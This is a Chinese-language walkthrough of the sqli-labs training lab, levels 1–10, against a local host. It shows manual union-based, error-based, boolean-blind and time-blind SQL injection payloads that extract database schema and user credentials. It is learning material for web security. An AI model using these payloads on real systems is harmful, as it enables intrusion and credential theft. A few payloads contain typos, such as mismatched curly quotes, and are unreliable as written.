Less-1
sql手工注入攻击流程
步骤一:确定攻击点,确定网站可以注入的参数
http://127.0.0.1/Less-1/?id=1
步骤二:判断闭合方式 ' --+
步骤三:判断字段列数 order by
1.
http://127.0.0.1/Less-1/?id=1' order by 3 --+ 页面正常 说明存在3列
2.
http://127.0.0.1/Less-1/?id=1' order by 4 --+ 页面不正常 说明存在3列
步骤四:联合查询 查当前数据库名,数据库用户
1.联合查询3列
http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+ 页面显示的是id=1的数据,没有显示我们联合查询的数据
2.页面上显示联合查询的回显点
把前面查询的id的数据改成不存在的,比如-1
http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+
3.联合查询数据库名和用户名
http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+
步骤五:联合查询 查出网站的数据库里面的所有表名
http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤六:联合查询 查出users表里面的所有列
http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤七:查询表中所有的数据
http://127.0.0.1/Less-1/?id=-1' union select 1,2,group_concat(id,'-',username,'-',password) from users --+
Less-2
报错注入流程
前提:只要网站有报错语句就能进行报错查询
步骤一:http://127.0.0.1/Less-2/?id=1' 跟个单引号引起报错 说明页面有报错语句的位置
步骤二:测试闭合注释为
http://127.0.0.1/Less-2/?id=1--+
步骤三:http://127.0.0.1/Less-2/?id=1 and updatexml(1,1,1) --+ 使用报错函数,报错函数里面三个参数,写三个1占位置
步骤四:http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,1),1) --+ 我们可以操控的是第二个参数的位置,所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置
步骤五:http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,(select database())),1) --+我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行
步骤六:查表名:http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=’security‘)),1) --+
步骤七:查列名:'http://127.0.0.1/Less-2/?id=1 and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
步骤八:查具体的username和password
Less-3
步骤一:确定攻击点,确定网站可以注入的参数
步骤二:判断闭合方式 ') --+
步骤三:判断字段列数 order by
1.
http://127.0.0.1/Less-3/?id=1') order by 3 --+ 页面正常 说明存在3列
2.
http://127.0.0.1/Less-3/?id=1') order by 4 --+ 页面不正常 说明存在3列
步骤四:联合查询 查当前数据库名,数据库用户
1.联合查询3列
http://127.0.0.1/Less-3/?id=1') union select 1,2,3 --+ 页面显示的是id=1的数据,没有显示我们联合查询的数据
2.页面上显示联合查询的回显点
把前面查询的id的数据改成不存在的,比如-1
http://127.0.0.1/Less-3/?id=-1') union select 1,2,3 --+
3.联合查询数据库名和用户名
http://127.0.0.1/Less-3/?id=-1') union select 1,database(),user() --+
步骤五:联合查询 查出网站的数据库里面的所有表名
http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤六:联合查询 查出users表里面的所有列
http://127.0.0.1/Less-3/?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤七:查询表中所有的数据
http://127.0.0.1/Less-3/?id=-1') union select 1,2,group_concat(id,'~',username,'~',password) from users --+
Less-4
步骤一:确定攻击点,确定网站可以注入的参数
步骤二:判断闭合方式 ") --+
步骤三:判断字段列数 order by
1.
http://127.0.0.1/Less-4/?id=1") order by 3 --+ 页面正常 说明存在3列
2.
http://127.0.0.1/Less-4/?id=1") order by 4 --+ 页面不正常 说明存在3列
步骤四:联合查询 查当前数据库名,数据库用户
1.联合查询3列
http://127.0.0.1/Less-4/?id=1") union select 1,2,3 --+ 页面显示的是id=1的数据,没有显示我们联合查询的数据
2.页面上显示联合查询的回显点
把前面查询的id的数据改成不存在的,比如-1
http://127.0.0.1/Less-4/?id=-1") union select 1,2,3 --+
3.联合查询数据库名和用户名
http://127.0.0.1/Less-4/?id=-1") union select 1,database(),user() --+
步骤五:联合查询 查出网站的数据库里面的所有表名
http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
步骤六:联合查询 查出users表里面的所有列
http://127.0.0.1/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
步骤七:查询表中所有的数据
http://127.0.0.1/Less-4/?id=-1") union select 1,2,group_concat(id,'~',username,'~',password) from users --+
Less-5
步骤一:http://127.0.0.1/Less-5/?id=1' 跟个单引号引起报错 说明页面有报错语句的位置
步骤二:测试闭合注释为
http://127.0.0.1/Less-5/?id=1'--+
步骤三:http://127.0.0.1/Less-5/?id=1' and updatexml(1,1,1) --+ 使用报错函数,报错函数里面三个参数,写三个1占位置
步骤四:http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,1),1) --+ 我们可以操控的是第二个参数的位置,所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置
步骤五:http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select database())),1) --+我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行
步骤六:查表名:http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=’security‘)),1) --+
步骤七:查列名:'http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+
步骤八:查具体的username和password
Less-6
步骤一:http://127.0.0.1/Less-6/?id=1"跟个双引号引起报错 说明页面有报错语句的位置
步骤二:测试闭合注释为"--+
步骤三:http://127.0.0.1/Less-6/?id=1" and extractvalue(1,1) --+使用报错函数,报错函数里面两个参数,写两个1占位置
步骤四:http://127.0.0.1/Less-6/?id=1" and extractvalue(1,concat(1,1)) --+我们可以操控的是第二个参数的位置,所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置
步骤五: http://127.0.0.1/Less-6/?id=1" and extractvalue(1,concat(1,database())) --+我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行
步骤六:查表名http://127.0.0.1/Less-6/?id=1" and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ))) --+

步骤七:查列名
步骤八:查具体的username和password
Less-7
步骤一:判断闭合方式
' ))--+ 闭合成功 页面正常http://127.0.0.1/Less-7/?id=1'))--+
步骤二:页面只有ture和flase两种情况,所以需要使用布尔盲注
判断数据库长度大于7 页面正常 说明数据库长度大于7:http://127.0.0.1/Less-7/?id=1')) and length(database())>7 --+
判断数据库长度大于8 页面异常 说明数据库长度等于8:
http://127.0.0.1/Less-7/?id=1')) and length(database())>8 --+
步骤三:判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :
http://127.0.0.1/Less-7/?id=1')) and ascii(substr(database(),1,1))>114--+
判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
http://127.0.0.1/Less-1/?id=1')) and ascii(substr(database(),1,1))>115--+
数据库第一位字符ascii码为115 's'。
............................最终得出数据库名为security
步骤四:查security数据库中第一张表的第一位字符
http://127.0.0.1/Less-7/?id=1' )) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
http://127.0.0.1/Less-7/?id=1')) and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤五:判断users表中第一个字段的第一位字符
http://127.0.0.1/Less-7/?id=1')) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104--+
http://127.0.0.1/Less-7/?id=1')) and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
步骤六:判断username列的第一条数据的第一个字符
http://127.0.0.1/Less-7/?id=1')) and ascii(substr((select username from users limit 0,1),1,1))>67--+
http://127.0.0.1/Less-7/?id=1')) and ascii(substr((select username from users limit 0,1),1,1))>68--+
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
...........最终得出users表里面的username字段的第一条数据为Dumb
Less-8
布尔盲注流程
步骤一:判断闭合方式
不正常页面 http://127.0.0.1/Less-8/?id=1'
' --+ 闭合成功 页面正常 http://127.0.0.1/Less-8/?id=1' --+
步骤二:页面只有ture和flase两种情况,所以需要使用布尔盲注
判断数据库长度大于7 页面正常 说明数据库长度大于7:http://127.0.0.1/Less-8/?id=1' and length(database())>7--+
判断数据库长度大于8 页面异常 说明数据库长度等于8:http://127.0.0.1/Less-8/?id=1' and length(database())>8--+
步骤三:判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :http://127.0.0.1/Less-8/?id=1' and ascii(substr(database(),1,1))>114--+
判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
数据库第一位字符ascii码为115 's'。
判断数据库第二位字符
说明数据库第二位字符的ascii码长度大于100不大于101 那么就是等于101 'e'。
............................最终得出数据库名为security
步骤四:查security数据库中第一张表的第一位字符
http://127.0.0.1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+
http://127.0.0.1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤五:判断users表中第一个字段的第一位字符
http://127.0.0.1/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105--+
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
步骤六:判断username列的第一条数据的第一个字符
http://127.0.0.1/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))>68--+
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
...........最终得出users表里面的username字段的第一条数据为Dumb
Less-9
时间盲注流程
if(布尔盲注语句,sleep(3),1) //if判断语句,当布尔盲注语句成立时,执行sleep(3),否则执行1。
步骤一:检查发现id等于多少都没有报错,可以使用时间盲注
步骤二:进行时间盲注的判断发现响应时间为sleep函数执行的时间则存在
http://127.0.0.1/Less-9/?id=1' and sleep(3)--+
步骤三:判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :
判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
http://127.0.0.1/Less-9/?id=1' and if(ascii(substr(database(),1,1))>115 ,sleep(3),1)--+
数据库第一位字符ascii码为115 's'。
............................最终得出数据库名为security
步骤四:查security数据库中第一张表的第一位字符
页面延迟三秒访问
http://127.0.0.1/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+
页面正常访问
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤五:判断users表中第一个字段的第一位字符
页面延迟三秒访问
http://127.0.0.1/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105 ,sleep(3),1)--+
页面正常访问
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
步骤六:判断username列的第一条数据的第一个字符
http://127.0.0.1/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))>68 ,sleep(3),1)--+
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
...........最终得出users表里面的username字段的第一条数据为Dumb
Less-10
步骤一:检查发现id等于多少都没有报错,可以使用时间盲注
步骤二:进行时间盲注的判断发现响应时间为sleep函数执行的时间则存在
http://127.0.0.1/Less-10/?id=1" and sleep(3)--+
步骤三:判断数据库的第一个字符
用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114 :
判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115
http://127.0.0.1/Less-10/?id=1" and if(ascii(substr(database(),1,1))>115 ,sleep(3),1)--+
数据库第一位字符ascii码为115 's'。
............................最终得出数据库名为security
步骤四:查security数据库中第一张表的第一位字符
页面延迟三秒访问
http://127.0.0.1/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)--+
页面正常访问
大于100不大于101 说明第一张表的第一位字符等于101 'e' 。
................................最终得出第一张表的表名为emails
步骤五:判断users表中第一个字段的第一位字符
页面延迟三秒访问
http://127.0.0.1/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105 ,sleep(3),1)--+
页面正常访问
说明users表的第一个字段的第一位字符ascii码为105 'i'
............最终得出users表的第一个字段为id
步骤六:判断username列的第一条数据的第一个字符
http://127.0.0.1/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1,1))>68 ,sleep(3),1)--+
说明users表里面的username字段的第一条数据的第一个字符的ascii码为68'D'
...........最终得出users表里面的username字段的第一条数据为Dumb